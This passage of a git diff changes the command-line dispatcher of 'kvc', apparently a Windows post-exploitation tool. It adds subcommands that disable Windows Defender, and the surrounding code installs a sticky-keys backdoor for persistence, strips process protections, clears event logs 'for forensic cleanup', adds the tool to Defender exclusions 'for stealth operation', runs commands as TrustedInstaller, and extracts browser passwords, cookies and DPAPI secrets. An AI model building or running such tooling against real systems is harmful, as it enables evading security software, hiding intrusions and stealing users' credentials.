L"--restart") { + INFO(L"Initiating system restart..."); + return InitiateSystemRestart() ? 0 : 1; + } + return 0; + } + return 1; + } + else if (subcommand == L"enable") { + if (DefenderManager::EnableSecurityEngine()) { + SUCCESS(L"Security engine enabled successfully - restart required"); + + // Optional immediate restart for automated scenarios + if (argc > 3 && std::wstring_view(argv[3]) == L"--restart") { + INFO(L"Initiating system restart..."); + return InitiateSystemRestart() ? 0 : 1; + } + return 0; + } + return 1; + } + else if (subcommand == L"status") { + auto status = DefenderManager::GetSecurityEngineStatus(); + + // Display status with color-coded output for immediate visual feedback + if (status == DefenderManager::SecurityState::ENABLED) { + INFO(L"Security Engine Status: ENABLED (Active Protection)"); + HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); + SetConsoleTextAttribute(hConsole, FOREGROUND_GREEN | FOREGROUND_INTENSITY); + std::wcout << L" ✓ Windows Defender is actively protecting the system\n"; + SetConsoleTextAttribute(hConsole, FOREGROUND_RED | FOREGROUND_GREEN | FOREGROUND_BLUE); + } + else if (status == DefenderManager::SecurityState::DISABLED) { + INFO(L"Security Engine Status: DISABLED (Inactive Protection)"); + SetColor(12); // Red + std::wcout << L" ✗ Windows Defender protection is disabled\n"; + SetColor(7); // Reset to default + } + else { + INFO(L"Security Engine Status: UNKNOWN (Cannot determine state)"); + SetColor(14); // Yellow + std::wcout << L" ? Unable to determine Defender protection state\n"; + SetColor(7); // Reset to default + } + + return 0; + } + else { + ERROR(L"Invalid secengine subcommand: %s", subcommand.data()); + ERROR(L"Valid subcommands: disable, enable, status"); + return 1; + } + } + + // Sticky keys backdoor management using IFEO technique for persistence else if (command == L"shift") { INFO(L"Installing sticky keys backdoor with Defender bypass..."); @@ -236,7 +358,7 @@ int wmain(int argc, wchar_t* argv[]) std::wstring_view target = argv[2]; std::wstring outputPath; - // Use provided output path or default to Downloads folder + // Use provided output path or default to Downloads folder for convenience if (argc >= 4) outputPath = argv[3]; else @@ -254,7 +376,7 @@ int wmain(int argc, wchar_t* argv[]) } } - // Handle numeric PID or process name with pattern matching + // Handle numeric PID or process name with intelligent pattern matching if (IsNumeric(target)) { auto pid = ParsePid(target); @@ -272,7 +394,7 @@ int wmain(int argc, wchar_t* argv[]) } } - // Process information commands with color-coded output + // Process information commands with color-coded protection status output else if (command == L"list") { return g_controller->ListProtectedProcesses() ? 0 : 2; @@ -319,7 +441,7 @@ int wmain(int argc, wchar_t* argv[]) std::wstring targetProcessName; bool protectionResult = false; - // Get process info and analyze dumpability with comprehensive reporting + // Get comprehensive process info and analyze dumpability with detailed reporting if (IsNumeric(target)) { auto pid = ParsePid(target); @@ -348,7 +470,7 @@ int wmain(int argc, wchar_t* argv[]) } } - // Additional dumpability analysis with detailed reasoning + // Additional dumpability analysis with detailed reasoning for security assessment if (protectionResult && targetPid != 0) { auto dumpability = Utils::CanDumpProcess(targetPid, targetProcessName); @@ -365,8 +487,8 @@ int wmain(int argc, wchar_t* argv[]) return protectionResult ? 0 : 2; } - - // Event log clearing with administrative privileges + + // Event log clearing with administrative privileges for forensic cleanup else if (command == L"evtclear") { return g_controller->ClearSystemEventLogs() ? 0 : 2; @@ -423,13 +545,13 @@ int wmain(int argc, wchar_t* argv[]) std::wstring_view target = argv[2]; - // Handle special 'all' keyword for mass unprotection + // Handle special 'all' keyword for mass unprotection scenarios if (target == L"all") { return g_controller->UnprotectAllProcesses() ? 0 : 2; } - // Handle comma-separated list of targets for batch operations + // Handle comma-separated list of targets for efficient batch operations std::wstring targetStr(target); if (targetStr.find(L',') != std::wstring::npos) { @@ -459,7 +581,7 @@ int wmain(int argc, wchar_t* argv[]) return g_controller->UnprotectMultipleProcesses(targets) ? 0 : 2; } - // Handle single target (PID or process name) + // Handle single target (PID or process name with pattern matching) if (IsNumeric(target)) { auto pid = ParsePid(target); @@ -477,7 +599,7 @@ int wmain(int argc, wchar_t* argv[]) } } - // System integration commands with TrustedInstaller privileges + // System integration commands with TrustedInstaller privileges for maximum access else if (command == L"trusted") { if (argc < 3) @@ -486,7 +608,7 @@ int wmain(int argc, wchar_t* argv[]) return 1; } - // Combine all remaining arguments into full command with proper escaping + // Combine all remaining arguments into full command with proper argument handling std::wstring fullCommand; for (int i = 2; i < argc; i++) { @@ -501,75 +623,75 @@ int wmain(int argc, wchar_t* argv[]) { return g_controller->AddContextMenuEntries() ? 0 : 1; } - - // Enhanced Windows Defender exclusion management with type specification - else if (command == L"add-exclusion") - { - // Legacy syntax: kvc add-exclusion (no args) - add self to exclusions - if (argc < 3) { - wchar_t exePath[MAX_PATH]; - if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { - ERROR(L"Failed to get current executable path"); - return 1; - } - - INFO(L"Automatically adding self to Defender exclusions: %s", exePath); - return g_controller->AddToDefenderExclusions(exePath) ? 0 : 1; - } - - // New syntax with type specification: kvc add-exclusion Processes malware.exe - if (argc >= 4) { - std::wstring_view typeStr = argv[2]; - std::wstring value = argv[3]; - - auto exclusionType = ParseExclusionType(typeStr); - if (!exclusionType) { - ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); - return 1; - } - - return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1; - } - // Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe - else { - std::wstring filePath = argv[2]; - return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1; - } - } - else if (command == L"remove-exclusion") - { - // Legacy syntax: kvc remove-exclusion (no args) - remove self from exclusions - if (argc < 3) { - wchar_t exePath[MAX_PATH]; - if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { - ERROR(L"Failed to get current executable path"); - return 1; - } - - INFO(L"Automatically removing self from Defender exclusions: %s", exePath); - return g_controller->RemoveFromDefenderExclusions(exePath) ? 0 : 1; - } - - // New syntax with type specification: kvc remove-exclusion Processes malware.exe - if (argc >= 4) { - std::wstring_view typeStr = argv[2]; - std::wstring value = argv[3]; - - auto exclusionType = ParseExclusionType(typeStr); - if (!exclusionType) { - ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); - return 1; - } - - return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1; - } - // Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe - else { - std::wstring filePath = argv[2]; - return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1; - } - } + // Enhanced Windows Defender exclusion management with type specification + else if (command == L"add-exclusion") + { + // Legacy syntax: kvc add-exclusion (no args) - add self to exclusions for stealth operation + if (argc < 3) { + wchar_t exePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return 1; + } + + INFO(L"Automatically adding self to Defender exclusions: %s", exePath); + return g_controller->AddToDefenderExclusions(exePath) ? 0 : 1; + } + + // New syntax with type specification: kvc add-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->AddDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc add-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->AddToDefenderExclusions(filePath) ? 0 : 1; + } + } + + else if (command == L"remove-exclusion") + { + // Legacy syntax: kvc remove-exclusion (no args) - remove self from exclusions + if (argc < 3) { + wchar_t exePath[MAX_PATH]; + if (GetModuleFileNameW(nullptr, exePath, MAX_PATH) == 0) { + ERROR(L"Failed to get current executable path"); + return 1; + } + + INFO(L"Automatically removing self from Defender exclusions: %s", exePath); + return g_controller->RemoveFromDefenderExclusions(exePath) ? 0 : 1; + } + + // New syntax with type specification: kvc remove-exclusion Processes malware.exe + if (argc >= 4) { + std::wstring_view typeStr = argv[2]; + std::wstring value = argv[3]; + + auto exclusionType = ParseExclusionType(typeStr); + if (!exclusionType) { + ERROR(L"Invalid exclusion type: %s. Valid types: Paths, Processes, Extensions, IpAddresses", typeStr.data()); + return 1; + } + + return g_controller->RemoveDefenderExclusion(exclusionType.value(), value) ? 0 : 1; + } + // Legacy syntax for backward compatibility: kvc remove-exclusion C:\file.exe + else { + std::wstring filePath = argv[2]; + return g_controller->RemoveFromDefenderExclusions(filePath) ? 0 : 1; + } + } // DPAPI secrets extraction commands with comprehensive browser support else if (command == L"export") @@ -586,7 +708,7 @@ int wmain(int argc, wchar_t* argv[]) { std::wstring outputPath; - // Use provided output path or default to Downloads folder + // Use provided output path or default to Downloads folder for user convenience if (argc >= 4) { outputPath = argv[3]; @@ -615,13 +737,13 @@ int wmain(int argc, wchar_t* argv[]) } } - // Browser passwords extraction with kvc_pass integration + // Browser passwords extraction with kvc_pass integration for modern browsers else if (command == L"browser-passwords" || command == L"bp") { - std::wstring browserType = L"chrome"; // Default to Chrome - std::wstring outputPath = L"."; // Current directory + std::wstring browserType = L"chrome"; // Default to Chrome for compatibility + std::wstring outputPath = L"."; // Current directory as fallback - // Parse arguments + // Parse command line arguments for browser type and output path for (int i = 2; i < argc; i++) { std::wstring arg = argv[i]; if (arg == L"--chrome") { @@ -644,18 +766,18 @@ int wmain(int argc, wchar_t* argv[]) } if (browserType == L"edge") { - // First run kvc_pass (cookies / logins) + // First run kvc_pass for cookies/logins extraction if (!g_controller->ExportBrowserData(outputPath, browserType)) { ERROR(L"Failed to export Edge cookies/logins"); } - // Then run DPAPI (KVC) – Edge passwords from registry + // Then run DPAPI (KVC) for Edge passwords from registry INFO(L"Extracting Edge passwords via KVC DPAPI..."); g_controller->ShowPasswords(outputPath); return 0; } else { - // Chrome, Brave – only kvc_pass + // Chrome, Brave - only kvc_pass required if (!g_controller->ExportBrowserData(outputPath, browserType)) { ERROR(L"Failed to export browser passwords"); return 1; @@ -664,14 +786,13 @@ int wmain(int argc, wchar_t* argv[]) } } - // Combined binary processing - decrypt and deploy kvc.dat components + // Combined binary processing - decrypt and deploy kvc.dat components for advanced scenarios else if (command == L"setup") { INFO(L"Loading and processing kvc.dat combined binary..."); return g_controller->LoadAndSplitCombinedBinaries() ? 0 : 2; } - - + else { ERROR(L"Unknown command: %s", command.data()); @@ -683,7 +804,7 @@ int wmain(int argc, wchar_t* argv[]) { std::string msg = e.what(); std::wstring wmsg(msg.begin(), msg.end()); - ERROR(L"Exception occurred: %s", wmsg.c_str()); + ERROR(L"Exception occurred during execution: %s", wmsg.c_str()); CleanupDriver(); return 3; } @@ -698,7 +819,7 @@ int wmain(int argc, wchar_t* argv[]) return 0; } -// Emergency cleanup for driver resources +// Emergency cleanup for driver resources to prevent system instability void CleanupDriver() noexcept { if (g_controller) @@ -707,18 +828,18 @@ void CleanupDriver() noexcept } } -// Robust PID parsing with validation +// Robust PID parsing with comprehensive validation std::optional ParsePid(std::wstring_view pidStr) noexcept { if (pidStr.empty()) return std::nullopt; - // Convert wide string to narrow for std::from_chars + // Convert wide string to narrow for std::from_chars compatibility std::string narrowStr; narrowStr.reserve(pidStr.size()); for (wchar_t wc : pidStr) { - if (wc > 127) return std::nullopt; // Non-ASCII character + if (wc > 127) return std::nullopt; // Non-ASCII character detected narrowStr.push_back(static_cast(wc)); } @@ -731,7 +852,7 @@ std::optional ParsePid(std::wstring_view pidStr) noexcept std::make_optional(result) : std::nullopt; } -// Check if string contains only digits +// Check if string contains only digits for PID validation bool IsNumeric(std::wstring_view str) noexcept { if (str.empty()) return false; @@ -745,7 +866,7 @@ bool IsNumeric(std::wstring_view str) noexcept return true; } -// Recognize various help flag formats +// Recognize various help flag formats for user convenience bool IsHelpFlag(std::wstring_view arg) noexcept { if (arg == L"/?" || arg == L"/help" || arg == L"/h") diff --git a/kvc/Kvc.vcxproj b/kvc/Kvc.vcxproj index 1fd4fd3..6913bdb 100644 --- a/kvc/Kvc.vcxproj +++ b/kvc/Kvc.vcxproj @@ -120,6 +120,7 @@ + diff --git a/kvc/common.h b/kvc/common.h index 8aa6cfa..72ca359 100644 --- a/kvc/common.h +++ b/kvc/common.h @@ -29,6 +29,15 @@ #undef ERROR #endif + +#ifndef SHTDN_REASON_MAJOR_SOFTWARE +#define SHTDN_REASON_MAJOR_SOFTWARE 0x00030000 +#endif + +#ifndef SHTDN_REASON_MINOR_RECONFIGURE +#define SHTDN_REASON_MINOR_RECONFIGURE 0x00000004 +#endif + // Smart module handle management struct ModuleDeleter { void operator()(HMODULE mod) const noexcept {